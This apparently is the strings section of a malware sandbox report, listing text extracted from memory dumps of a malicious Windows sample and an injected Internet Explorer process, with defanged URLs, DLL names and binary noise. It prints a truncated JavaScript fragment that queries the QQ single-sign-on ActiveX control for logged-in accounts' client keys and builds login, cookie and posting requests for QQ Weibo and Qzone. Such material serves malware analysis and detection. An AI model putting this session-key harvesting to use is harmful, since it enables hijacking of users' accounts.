624158|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2eHeBbXXXXXXEXpXXXXXXXXXX_!!379203834.jpg

623805|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2QTCJbXXXXXXwXXXXXXXXXXXX_!!379203834.jpg

624019|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2_F9BbXXXXXXPXpXXXXXXXXXX_!!379203834.jpg

621020|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2Y0yKbXXXXXcOXXXXXXXXXXXX_!!379203834.jpg

616145|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2MuGBbXXXXXXAXpXXXXXXXXXX_!!379203834.jpg

615429|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2OUCFbXXXXXcyXXXXXXXXXXXX_!!379203834.jpg

614029|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2sX1BbXXXXXXrXpXXXXXXXXXX_!!379203834.jpg

614809|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2rgOxbXXXXXaAXpXXXXXXXXXX_!!379203834.jpg

613254|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2WiqFbXXXXXcEXXXXXXXXXXXX_!!379203834.jpg

611906|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2XXGGbXXXXXcoXXXXXXXXXXXX_!!379203834.jpg

611868|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2kemHbXXXXXbrXXXXXXXXXXXX_!!379203834.jpg

611248|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2pceGbXXXXXb8XXXXXXXXXXXX_!!379203834.jpg

610705|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2FraJbXXXXXX_XXXXXXXXXXXX_!!379203834.jpg

610241|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2iByEbXXXXXcMXXXXXXXXXXXX_!!379203834.jpg

609579|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2Yw5GbXXXXXbTXXXXXXXXXXXX_!!379203834.jpg

609312|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2cNmzbXXXXXavXpXXXXXXXXXX_!!379203834.jpg

608943|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB23HiHbXXXXXbtXXXXXXXXXXXX_!!379203834.jpg

608603|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2TdqJbXXXXXXEXXXXXXXXXXXX_!!379203834.jpg

607081|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2m05HbXXXXXblXXXXXXXXXXXX_!!379203834.jpg

607351|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2NXiEbXXXXXc5XXXXXXXXXXXX_!!379203834.jpg

605655|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2891FbXXXXXcaXXXXXXXXXXXX_!!379203834.jpg

603898|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2gVSybXXXXXbeXpXXXXXXXXXX_!!379203834.jpg

603320|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2Fw9HbXXXXXbnXXXXXXXXXXXX_!!379203834.jpg

602221|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB27AuzbXXXXXatXpXXXXXXXXXX_!!379203834.jpg

698877|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2JMKzbXXXXXaEXpXXXXXXXXXX_!!379203834.jpg

456465|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2Dzk.bFXXXXcaXXXXXXXXXXXX_!!379203834.jpg

748633|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2q.A0bFXXXXclXpXXXXXXXXXX_!!379203834.jpg

889124|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2GAs_bFXXXXcZXXXXXXXXXXXX_!!379203834.jpg

754123|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB25BE7bFXXXXaiXpXXXXXXXXXX_!!379203834.jpg

765155|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2L0RabVXXXXbIXXXXXXXXXXXX_!!379203834.jpg

127.0.0.1

hXXp://VVV.2345.com/?k83824709

SSOAxCtrlForPTLogin.SSOForPTLogin2

hXXp://xui.ptlogin2.qq.com/cgi-bin/qlogin

document.body.innerHTML=GetuinKey();

function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g

&keyindex=9&pt_aid=1006102&daid=1&u1=http://id.qq.com/index.html

&clientkey=

hXXp://ptlogin2.qq.com/jump?clientuin=

hXXp://id.qq.com

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

HTTP/1.1

&keyindex=9&pt_aid=46000101&daid=6&low_login_enable=1&low_login_hour=720&u1=http://t.qq.com

p_uin=; p_skey=; pt4_token=;

hXXp://api.t.qq.com/old/publish.php

&countType=&viewModel=&attips=&pic=&apiType=14&pgv_ref=web.base.master.talkBox.btnApolloMyHome&syncQzone=1&syncQQSign=0&adRich=0&g_tk=

skey=@

function time(){return new Date().getTime()}

&keyindex=9&pt_aid=549000912&u1=http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone

hXXp://qzs.qq.com/qzone/v5/loginsucc.html?para=izone

skey

#home&syn_tweet_verson=1&richtype=&richval=&special_url=&subrichtype=&who=1&con=qm

qzreferrer=http://user.qzone.qq.com/

hXXp://taotao.qq.com/cgi-bin/emotion_cgi_publish_v6?g_tk=

len = str.length; i

var t = QZONE.FormSender;

if (t && t.pluginsPool) t.pluginsPool.formHandler.push(function(fm) {

var a = QZFL.string.trim(fm.action);

a = (a.indexOf("?") > -1 ? "&": "?") "g_tk=" QZFL.pluginsDefine.getACSRFToken();

fm.action = a

0.0.0.0

\empty.exe

`.data

could not empty working set for process #%d [%s]

could not empty working set for process #%d

USAGE: empty.exe {pid | task-name}

AdjustTokenPrivileges failed with %d

LookupPrivilegeValue failed with %d

OpenProcessToken failed with %d

empty.pdb

msvcrt.dll

CloseWindowStation

SetProcessWindowStation

OpenWindowStationA

GetProcessWindowStation

EnumWindows

EnumWindowStationsA

ntdll.dll

OLEAUT32.dll

?{B96B3CAF-0728-11D3-9D7B-0000F81EF32E}

=@{B96B3CAB-0728-11D3-9D7B-0000F81EF32E}

Adobe Photoshop CS4 Windows

2015:07:31 11:02:47

urlTEXT

MsgeTEXT

FhXXp://ns.adobe.com/xap/1.0/

" id="W5M0MpCehiHzreSzNTczkc9d"?>

IEC hXXp://VVV.iec.ch

.IEC 61966-2.1 Default RGB colour space - sRGB

CRT curv

i%DW$OQ_n

.comment {color:green}

N.aqXshC

113.108.16.123

Adobe Photoshop CS5 Windows

2014:07:11 14:34:03

hXXp://ns.adobe.com/xap/1.0/

" id="W5M0MpCehiHzreSzNTczkc9d"?>

N\1Ã’

R-.mf

W%XF7

rÃ»wie

H~e.Tb

?%u!(

h:\wh

.dV>l

e:url

.eY Y

QJ.Rr

.VG&P

0yljA)9.US

.NAprk

#.ne{Z

2014:06:23 21:00:43

" id="W5M0MpCehiHzreSzNTczkc9d"?>

y.ev^1Kw

2015:02:21 19:34:02

" id="W5M0MpCehiHzreSzNTczkc9d"?>

!p|%d/(

.NJ[Ke

LL.sR

\%O

pPS%S

t.kE

/%.YBU!N

*^.Ms8

wj.VZ

.WZQm8

N#.Yfc

2015:07:31 11:17:27

BhXXp://ns.adobe.com/xap/1.0/

" id="W5M0MpCehiHzreSzNTczkc9d"?>

[0H%f

KÃ»:

T.zy-9K

ME%u]2;

=""8.IfU$

%utun

Q%u1`

#3;o%F

%d&&'

123456789

00003333

1.2.18

%*.*f

Afx:%x:%x:%x:%x:%x

Afx:%x:%x

MSH_SCROLL_LINES_MSG

MSWHEEL_ROLLMSG

Broken pipe

Inappropriate I/O control operation

Operation not permitted

MSVFW32.dll

AVIFIL32.dll

RASAPI32.dll

iphlpapi.dll

SHLWAPI.dll

MPR.dll

WINMM.dll

VERSION.dll

GetProcessHeap

WinExec

GetWindowsDirectoryA

EnumChildWindows

CreateDialogIndirectParamA

GetViewportOrgEx

GetViewportExtEx

MSIMG32.dll

RegCreateKeyA

RegDeleteKeyA

RegCreateKeyExA

RegEnumKeyA

RegOpenKeyA

ShellExecuteA

oledlg.dll

InternetCrackUrlA

InternetCanonicalizeUrlA

WININET.dll

Shell32.dll

Mpr.dll

Advapi32.dll

User32.dll

Gdi32.dll

Kernel32.dll

(&07-034/)7 '

?? / %d]

%d / %d]

.PAVCFileException@@

: %d]

(*.*)|*.*||

(*.WAV;*.MID)|*.WAV;*.MID|WAV

(*.WAV)|*.WAV|MIDI

(*.MID)|*.MID|

(*.txt)|*.txt|

(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG

(*.JPG)|*.JPG|PNG

(*.PNG)|*.PNG|BMP

(*.BMP)|*.BMP|GIF

(*.GIF)|*.GIF|

(*.ICO)|*.ICO|

(*.CUR)|*.CUR|

%s:%d

windows

.PAVCNotSupportedException@@

out.prn

(*.prn)|*.prn|

%d.%d

%d/%d

1.6.9

unsupported zlib version

png_read_image: unsupported transformation

%d / %d

Bogus message code %d

libpng error: %s

libpng warning: %s

1.1.3

bad keyword

libpng does not support gamma background rgb_to_gray

Palette is NULL in indexed image

(%d-%d):

%ld%c

%s\ESPI%d.dll

hXXp://dywt.com.cn

service@dywt.com.cn

86(0411)88995834

86(0411)88995831

Windows

(ESPINN.dll(NN

This is a runtime library file for EPL applications. The EPL is a software development environment. For details please visit VVV.dywt.com.cn/info

CallerInfoCopyCmd

SetIPPort

GetIPPort

"C:\Windows\System32\ESPI11.dll"

ProviderInstallCopyCmd

SockDataCopyCmd

SockAddrCopyCmd

enetintercept_fnSockAddrSetIPPort

enetintercept_fnSockAddrGetIPPort

enetintercept_fnInstallCopyCmd

enetintercept_fnSockDataCopyCmd

enetintercept_fnSockAddrCopyCmd

enetintercept_fnCallerInfoCopyCmd

hXXp://VVV.eyuyan.com

86(0411)39895834

86(0411)39895831

DelAllKeyValues

DelKeyValue

GetAllKeys

GetKeyValue

AddKeyValue

DSGetErrMsg

BiTreeGetCurNodeKey

ListGetCurNodeKey

ListUpdateNodeFromKey

ListRemoveNodeFromKey

edatastructure_fnMapDelAllKeyValues

edatastructure_fnMapDelKeyValue

edatastructure_fnMapGetAllKeys

edatastructure_fnMapGetKeyValue

edatastructure_fnMapAddKeyValue

edatastructure_fnBiTreeGetCurNodeKey

edatastructure_fnListGetCurNodeKey

edatastructure_fnListUpdateNodeFromKey

edatastructure_fnListRemoveNodeFromKey

(*.avi)|*.avi

WPFT532.CNV

WPFT632.CNV

EXCEL32.CNV

write32.wpc

Windows Write

mswrd632.wpc

Word for Windows 6.0

wword5.cnv

Word for Windows 5.0

mswrd832.cnv

mswrd632.cnv

Word 6.0/95 for Windows & Macintosh

html32.cnv

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

HTTP/1.0

%s

Reply-To: %s

From: %s

To: %s

Subject: %s

Date: %s

Cc: %s

%a, %d %b %Y %H:%M:%S

SMTP

VVV.dywt.com.cn

Y%d

X%d

Height%d

Width%d

RECT(%d, %d)-(%d, %d)

Styles0xX

Control ID%d

Handle0xX

%s

burlywood

\winhlp32.exe

.PAVCOleException@@

.PAVCResourceException@@

.PAVCUserException@@

.PAVCOleDispatchException@@

zcÃ

c:\%original file name%.exe

#include "l.chs\afxres.rc" // Standard components

Srv.exe

c:\ea5e8e122e9a8c0c50bdc8049aecbf3fSrv.exe

O.Cp}l

OO.sJD

AM6d%X

4ml%F

.pkrd

.DBxA

Xvi%2x

8KeysX

KERNEL32.DLL

SHELL32.DLL

USER32.DLL

The procedure entry point %s could not be located in the dynamic link library %s

The ordinal %u could not be located in the dynamic link library %s

msvfw32.dll

avifil32.dll

rasapi32.dll

winmm.dll

winspool.drv

advapi32.dll

shell32.dll

oleaut32.dll

(2004-2010)

5.2.3790.0 built by: dnsrv_dev(v-smgum)

empty.exe

Windows

Operating System

5.2.3790.0

20150731111309

(*.*)

106.42.73.61

2528-6142

nedwp.exe

1.0.0.1

%original file name%.exe_860_rwx_00758000_00011000:

Srv.exe

c:\ea5e8e122e9a8c0c50bdc8049aecbf3fSrv.exe

kernel32.dll

.rsrc

O.Cp}l

OO.sJD

AM6d%X

4ml%F

.pkrd

.DBxA

Xvi%2x

8KeysX

KERNEL32.DLL

SHELL32.DLL

USER32.DLL

user32.dll

The procedure entry point %s could not be located in the dynamic link library %s

The ordinal %u could not be located in the dynamic link library %s

msvfw32.dll

avifil32.dll

rasapi32.dll

winmm.dll

ws2_32.dll

gdi32.dll

msimg32.dll

winspool.drv

comdlg32.dll

advapi32.dll

shell32.dll

ole32.dll

oleaut32.dll

comctl32.dll

oledlg.dll

wininet.dll

RegCloseKey

ShellExecuteA

106.42.73.61

2528-6142

nedwp.exe

1.0.0.1

iexplore.exe_816:

%?9-*09,*19}*09

.text

`.data

.rsrc

msvcrt.dll

KERNEL32.dll

NTDLL.DLL

USER32.dll

SHLWAPI.dll

SHDOCVW.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess

IE-X-X

rsabase.dll

System\CurrentControlSet\Control\Windows

dw15 -x -s %u

watson.microsoft.com

IEWatsonURL

%s -h %u

iedw.exe

Iexplore.XPExceptionFilter

jscript.DLL

mshtml.dll

mlang.dll

urlmon.dll

wininet.dll

shdocvw.DLL

browseui.DLL

comctl32.DLL

IEXPLORE.EXE

iexplore.pdb

ADVAPI32.dll

MsgWaitForMultipleObjects

IExplorer.EXE

IIIIIB(II<.fg>

7?_____ZZSSH%

)z.UUUUUUUU

,....Qym

````2```

{.QLQIIIKGKGKGKGKGKG

;33;33;0

8888880

8887080

browseui.dll

shdocvw.dll

6.00.2900.5512 (xpsp.080413-2105)

Windows

Operating System

6.00.2900.5512

iexplore.exe_816_rwx_00050000_00001000:

|%Program Files%\Microsoft\DesktopLayer.exe

iexplore.exe_816_rwx_20010000_00009000:

.text

.rdata

@.data

.reloc

Srv.exe

kernel32.dll

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps